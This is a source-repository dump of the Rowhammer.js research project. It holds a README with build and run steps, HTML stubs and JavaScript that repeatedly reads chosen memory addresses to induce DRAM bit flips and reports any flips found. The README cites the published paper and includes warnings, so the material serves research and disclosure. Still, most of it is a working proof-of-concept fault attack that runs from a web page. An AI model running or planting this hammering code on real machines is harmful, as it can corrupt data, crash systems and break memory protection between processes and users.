├── LICENSE-2.0.txt
├── README.md
├── javascript
├── rowhammer.html
├── rowhammer.js
├── rowhammer_scan.html
├── rowhammer_scan.js
└── screenshot.png
├── native
├── Makefile
├── README.md
└── rowhammer.cc
└── tools
├── Makefile
└── watch_firefox.cc
/LICENSE-2.0.txt:
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/README.md:
--------------------------------------------------------------------------------
1 | # Program for testing for the DRAM "rowhammer" problem using eviction
2 |
3 | See https://github.com/google/rowhammer-test - this is an adaption of the
4 | ''double_sided_rowhammer'' program from their repository.
5 |
6 | Also see our paper ''Rowhammer.js: A Remote Software-Induced Fault Attack in JavaScript'': https://scholar.google.at/citations?view_op=view_citation&hl=de&user=JmCg4uQAAAAJ&citation_for_view=JmCg4uQAAAAJ:tOudhMTPpwUC
7 |
8 | ## How to run the native eviction-based rowhammer test
9 |
10 | ```
11 | cd native
12 | make
13 | ./double_sided_rowhammer_ivy -d 1 # -d number of dimms
14 | # or
15 | ./double_sided_rowhammer_haswell -d 1 # -d number of dimms
16 | ```
17 |
18 | The test should work on x86-64 Linux.
19 |
20 | If you have found a reproducible bitflip, look for the ''Print this for the
21 | watch_firefox tool'' comment.
22 |
23 | ## Find the array indices for specific physical addresses
24 |
25 | Edit tools/watch_firefox.cc to contain the addresses from your native
26 | eviction-based rowhammer test.
27 |
28 | Start firefox with rowhammer.html
29 |
30 | ```
31 | cd tools
32 | make
33 | ./watch_firefox
34 | ```
35 |
36 | The program outputs physical address mappings and the time since
37 | the last allocation. Based on this and the virtual address printed you
38 | can determine where the array starts.
39 |
40 | Allocate memory in a large array in JavaScript.
41 | If using ''rowhammer.html'': Click the ''Allocate'' button.
42 |
43 | If you have much noise before you press the button, just restart
44 | ''watch_firefox'' and try again.
45 |
46 | As soon as it has found the indices it asks you to enter the virtual address
47 | of the array start. This is not yet automated.
48 |
49 | The program prints the array indices to use in JavaScript.
50 | In case of ''rowhammer.html'' just copy them into the editbox and click ''Parse''.
51 | Then you can start Hammering.
52 |
53 | ## rowhammer.html / rowhammer.js
54 | In the ''javascript'' folder you find the Rowhammer.js version
55 | for Haswell CPUs with a 16-way L3 cache and no L4 cache ''rowhammer.html''. It will probably not
56 | work on other CPUs without modifications.
57 |
58 | Open ''rowhammer.html'' in a browser, paste the hammering array indices in the
59 | editbox (you can use the ''watch_firefox'' program for this).
60 |
61 | You can modify ''rowhammer.js'' while the page is still loaded and click the
62 | ''Refresh'' button to only reload the ''rowhammer.js'' file. This way you keep
63 | the array and the array indices and you can experiment with different settings
64 | while not having to search for the array indices anew.
65 |
66 | ## Javascript-only Variant
67 | Also, in the ''javascript'' folder you will find the ''rowhammer_scan.html''.
68 | It is the pure JavaScript proof-of-concept for Haswell CPUs with a 16-way L3 cache and no L4 cache, memory in single-channel mode (this is the case if you have only one DIMM). Furthermore, it assumes that JavaScript memory is physically contiguous in blocks of 2 megabytes - this is the case if your OS allocates 2M anonymous pages (all our Linux systems do) or if it allocates physically contiguous 4K pages. It will probably not work on other systems without modifications.
69 |
70 | Open ''rowhammer_scan.html'' in a browser. Click the ''Allocate'' button. Wait a second to let Firefox allocate memory and click ''Hammer'' to start the hammering.
71 |
72 | For reference we have added a screenshot:
73 | 
74 |
75 | You can modify ''rowhammer_scan.js'' while the page is still loaded and click the
76 | ''Refresh'' button to only reload the ''rowhammer.js'' file. This way you keep
77 | the array and the array indices and you can experiment with different settings
78 | while not having to allocate the array anew.
79 |
80 | This version is not adaptive to all CPUs. As we said in the paper, the eviction strategy finding algorithm is very slow. We still try different optimizations and we will evaluate it's performance.
81 | However, there is not much use in doing this search in JavaScript as it takes hours and there is not much benefit once you know the strategy. A more realistic adaptive approach would be to try different strategies that are already known to work on some CPUs. This way you can find the right strategy adaptively without having to execute the generic eviction strategy finding algorithm.
82 | However, if you like to try, you will find the ''cached'' function already implemented in the ''rowhammer_scan.js''.
83 |
84 | ## Warnings
85 |
86 | Same warnings as in the original https://github.com/google/rowhammer-test repository:
87 |
88 | **Warning #1:** We are providing this code as-is. You are responsible
89 | for protecting yourself, your property and data, and others from any
90 | risks caused by this code. This code may cause unexpected and
91 | undesirable behavior to occur on your machine. This code may not
92 | detect the vulnerability on your machine.
93 |
94 | Be careful not to run this test on machines that contain important
95 | data. On machines that are susceptible to the rowhammer problem, this
96 | test could cause bit flips that crash the machine, or worse, cause bit
97 | flips in data that gets written back to disc.
98 |
99 | **Warning #2:** If you find that a computer is susceptible to the
100 | rowhammer problem, you may want to avoid using it as a multi-user
101 | system. Bit flips caused by row hammering breach the CPU's memory
102 | protection. On a machine that is susceptible to the rowhammer
103 | problem, one process can corrupt pages used by other processes or by
104 | the kernel.
105 |
106 | Additionally, if your computer is susceptible to the rowhammer bug,
107 | disable JavaScript in your browser! Attackers could exploit this bug
108 | through JavaScript and take control over your machine.
109 |
110 |
--------------------------------------------------------------------------------
/javascript/rowhammer.html:
--------------------------------------------------------------------------------
1 |
17 |
18 | Test
19 |
36 |
37 |
38 |
57 |
This is not the pure JavaScript version of Rowhammer.js.
58 | This version is tested on a Haswell CPU with a 16-way L3 cache and no L4 cache. It will probably not work on other CPUs.
59 | offsets
60 | number_of_reads
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
--------------------------------------------------------------------------------
/javascript/rowhammer.js:
--------------------------------------------------------------------------------
1 | // Copyright 2015, Daniel Gruss, Clémentine Maurice
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 | //
15 |
16 | stop = 0;
17 | function allocate()
18 | {
19 | if (stop == 1)
20 | return;
21 | do
22 | {
23 | array[alloci] = alloci/4096;
24 | alloci += 4096;
25 | } while ((alloci % (2*1024*1024)) != 0);
26 | setTimeout(allocate, 50);
27 | }
28 | function start()
29 | {
30 | if (stop == 1)
31 | return;
32 | setTimeout(allocate, 50);
33 | }
34 | function stopa()
35 | {
36 | stop = 1;
37 | }
38 | function fillrandom()
39 | {
40 | for (var i = 0; i < 63; i += 1)
41 | {
42 | array[f[i]] = Math.random()*256 | 0;
43 | array[s[i]] = Math.random()*256 | 0;
44 | }
45 | }
46 | function parseaddrs()
47 | {
48 | stopa();
49 |
50 | offsets = document.getElementById("mapping").value.split("\n");
51 | for (var i = 0; i < 2; i++)
52 | {
53 | v[i] = parseInt(offsets[i],16);
54 | }
55 | for (var i = v[0]; i <= v[1]; i++)
56 | array[i] = 255;
57 | var fidx = 0;
58 | var sidx = 0;
59 | for (var i = 2; i < 66; i++)
60 | f[fidx++] = parseInt(offsets[i],16);
61 | for (var i = 66; i < 130; i++)
62 | s[sidx++] = parseInt(offsets[i],16);
63 | fillrandom();
64 | }
65 |
66 | function check(sum)
67 | {
68 | if (sum == 0)
69 | document.getElementById("text").innerHTML += " [!] sum is " + sum + "(should never happen) ";
70 | var flip = 0;
71 | for (var i = v[0]; i <= v[1]; i++) {
72 | if (array[i] != 255)
73 | {
74 | document.getElementById("text").innerHTML += " [!] Found flip (" + array[i] + " != 255) at array index " + i + " when hammering indices " + f[0] + " and " + s[0] + " ";
75 | array[i] = 255;
76 | }
77 | }
78 | fillrandom();
79 | if (flip == 0)
80 | setTimeout(hammer, 100);
81 | }
82 | function hammer()
83 | {
84 |
85 | var sum = Math.random()*256 | 0;
86 | var number_of_reads = parseInt(document.getElementById("number_of_reads").value) | 0;
87 | if (number_of_reads == 0)
88 | return;
89 |
90 | var f0 = f[0] | 0;
91 | var s0 = s[0] | 0;
92 |
93 | var t0 = window.performance.now();
94 | while (number_of_reads-- > 0) {
95 | for (var i = 1; i < 34; i += 1) // you might have to vary 34 here, should be close to native code
96 | {
97 | sum += array[f[i]];
98 | sum += array[s[i]];
99 | sum += array[f[i+1]];
100 | sum += array[s[i+1]];
101 | sum += array[f[i]];
102 | sum += array[s[i]];
103 | sum += array[f[i+1]];
104 | sum += array[s[i+1]];
105 | }
106 | // simple eviction by filling a cache-sized memory buffer
107 | // slow, use only to check whether the histogram works and only for
108 | // a really small number of reads
109 | /*for (var i = 0; i < 8*1024*1024; i += 1)
110 | {
111 | sum += array[i];
112 | }*/
113 | //var t1 = window.performance.now();
114 | sum += array[f[0]];
115 | sum += array[s[0]];
116 | //var t2 = window.performance.now();
117 | /* array[f0] += 1;
118 | array[s0] += 1;*/
119 |
120 |
121 | // because the above ones are commented out
122 | var t1 = 0;
123 | var t2 = 0;
124 |
125 |
126 | // we found that some useless instructions increase the number of bitflips
127 | // you can try to comment the following code out
128 | if (Math.round((t2 - t1) * 100000.0,0) > 42)
129 | hist[42] += 1;
130 | else if (hist[Math.round((t2 - t1) * 100000.0,0)] > 0)
131 | hist[Math.round((t2 - t1) * 100000.0,0)] += 1;
132 | else
133 | hist[Math.round((t2 - t1) * 100000.0,0)] = 1;
134 | }
135 | var t2 = window.performance.now();
136 |
137 | // histogram code is commented out
138 | /* document.getElementById("text").innerHTML = "";
139 | document.getElementById("text").innerHTML += sum + " ";
140 | document.getElementById("text").innerHTML += array[f[0]] + " ";
141 | document.getElementById("text").innerHTML += v[0] + " ";
142 | document.getElementById("text").innerHTML += f[0] + " ";
143 | document.getElementById("text").innerHTML += s[0] + " ";
144 | for (var i = 0; i < 43; i++)
145 | document.getElementById("text").innerHTML += i + "0: " + hist[i] + " ";
146 | hist = Array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0);
147 | */
148 | document.getElementById("text").innerHTML += " " + Math.round((t2 - t0) * 1000000.0/parseInt(document.getElementById("number_of_reads").value),0);
149 | check(sum);
150 | }
151 | document.getElementById("text").innerHTML = "";
152 |
153 |
--------------------------------------------------------------------------------
/javascript/rowhammer_scan.html:
--------------------------------------------------------------------------------
1 |
17 |
18 | Test
19 |
36 |
37 |
38 |
57 |
JavaScript-only version of Rowhammer.js.
58 | This version is tested on a Haswell CPU with a 16-way L3 cache and no L4 cache. It will probably not work on other CPUs. However, the code can be adapted to other CPUs as well.